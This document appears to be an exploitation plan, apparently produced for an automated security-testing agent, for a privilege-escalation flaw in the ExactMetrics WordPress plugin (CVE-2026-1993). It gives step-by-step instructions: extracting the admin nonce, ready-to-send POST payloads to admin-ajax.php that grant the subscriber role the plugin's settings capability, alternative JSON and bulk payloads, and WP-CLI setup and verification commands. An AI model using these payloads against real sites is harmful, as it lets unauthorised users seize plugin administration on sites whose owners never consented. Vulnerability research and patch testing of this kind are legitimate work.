Exploitation Research Plan - CVE-2026-1993

1. Vulnerability Summary

The ExactMetrics plugin (versions 7.1.0 - 9.0.2) is vulnerable to Improper Privilege Management. The AJAX handler exactmetrics_vue_update_settings allows an authenticated user with the exactmetrics_save_settings capability to update arbitrary plugin settings. Because the function does not whitelist allowed settings, an attacker can modify the save_settings option. This option defines which WordPress roles are granted the exactmetrics_save_settings capability. By adding the subscriber role to this list, an attacker effectively escalates the privileges of all subscribers on the site to plugin administrators.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• Action: exactmetrics_vue_update_settings
• Method: POST
• Required Authentication: A user account with the exactmetrics_save_settings capability (e.g., an Editor who has been delegated plugin access by an Administrator).
• Vulnerable Parameter: setting (used as the option key) and value (the new value for the option).
• Precondition: The plugin must be configured to allow a non-administrator role (like Editor) to save settings, or the attacker must already possess a role that has this custom capability.

3. Code Flow

1. Entry Point: The AJAX request is received by admin-ajax.php with the action exactmetrics_vue_update_settings.
2. Hook Registration: In includes/admin/routes.php, the action is hooked:

   add_action( 'wp_ajax_exactmetrics_vue_update_settings', array( $this, 'update_settings' ) );
   

3. Nonce & Auth Check: The update_settings() function (in includes/admin/routes.php) validates the request:
   • It checks the nonce using check_ajax_referer( 'mi-admin-nonce', 'nonce' );.
   • It verifies permissions using current_user_can( 'exactmetrics_save_settings' ).
4. Vulnerable Sink: The function retrieves the setting and value parameters from the $_POST superglobal. It then calls a settings update function (likely exactmetrics_update_option) without verifying if the setting name is part of a safe whitelist.
5. Privilege Escalation: By passing setting=save_settings and value=["subscriber", "administrator"], the attacker overwrites the role-access configuration in the database.

4. Nonce Acquisition Strategy

The nonce required for this exploit is mi-admin-nonce. It is localized in the WordPress admin dashboard for users who have access to ExactMetrics settings.

1. Identify Script: The nonce is localized in includes/admin/admin-assets.php for the exactmetrics-admin-setup-wizard script handle.
2. Target Variable: The JS object is exactmetrics and the key is nonce.
3. Acquisition Steps:
   • Create a test page containing any ExactMetrics block or simply navigate to the ExactMetrics settings page if the user has access.
   • Use browser_eval to extract the nonce:

     window.exactmetrics?.nonce
     

5. Exploitation Strategy

The goal is to modify the save_settings option to include the subscriber role.

Step 1: Obtain Nonce

Access the admin dashboard as the privileged user (Editor) and extract the nonce.

Step 2: Send Malicious Settings Update

Submit a POST request to admin-ajax.php.

• URL: http://vulnerable-hostname/wp-admin/admin-ajax.php
• Headers:
  • Content-Type: application/x-www-form-urlencoded
• Body:

  action=exactmetrics_vue_update_settings
  nonce=[EXTRACTED_NONCE]
  setting=save_settings
  value[]=administrator
  value[]=editor
  value[]=subscriber
  

  (Note: The value parameter is sent as an array to ensure the save_settings option remains an array of roles.)

Step 3: Verify Access

Login as a Subscriber and attempt to access the ExactMetrics settings or reports.

6. Test Data Setup

1. Install Plugin: ExactMetrics version 9.0.2.
2. Create Users:
   • attacker_editor (Role: Editor)
   • victim_subscriber (Role: Subscriber)
3. Delegate Access: Use WP-CLI to grant the Editor the ability to save settings (simulating an admin delegating access):

   # ExactMetrics stores settings in the 'exactmetrics_settings' option.
   # We ensure 'editor' is in the 'save_settings' array.
   wp option patch insert exactmetrics_settings save_settings editor
   

7. Expected Results

• The AJAX request should return a successful JSON response (e.g., {"success":true} or similar).
• The exactmetrics_settings option in the database will now contain subscriber within the save_settings array.
• The victim_subscriber user will be able to access the ExactMetrics settings menu (/wp-admin/admin.php?page=exactmetrics_settings).

8. Verification Steps

1. Database Check:

   wp option get exactmetrics_settings --format=json
   

   Confirm that save_settings includes subscriber.
2. Permission Check:

   wp user cap list victim_subscriber
   

   (Note: The plugin might check roles dynamically against the option rather than adding core WordPress capabilities to the user object, so navigating to the settings page as the subscriber is the most definitive test.)
3. HTTP Probe:
   Use http_request as the Subscriber to check if the settings page returns a 200 OK instead of a 403 Forbidden.

9. Alternative Approaches

If the value parameter is expected as a JSON string instead of a PHP array:

• Alternative Payload:

  action=exactmetrics_vue_update_settings
  nonce=[NONCE]
  setting=save_settings
  value=["administrator","editor","subscriber"]
  

If exactmetrics_vue_update_settings fails, try exactmetrics_vue_update_settings_bulk:

• Bulk Payload:

  action=exactmetrics_vue_update_settings_bulk
  nonce=[NONCE]
  settings={"save_settings":["administrator","editor","subscriber"]}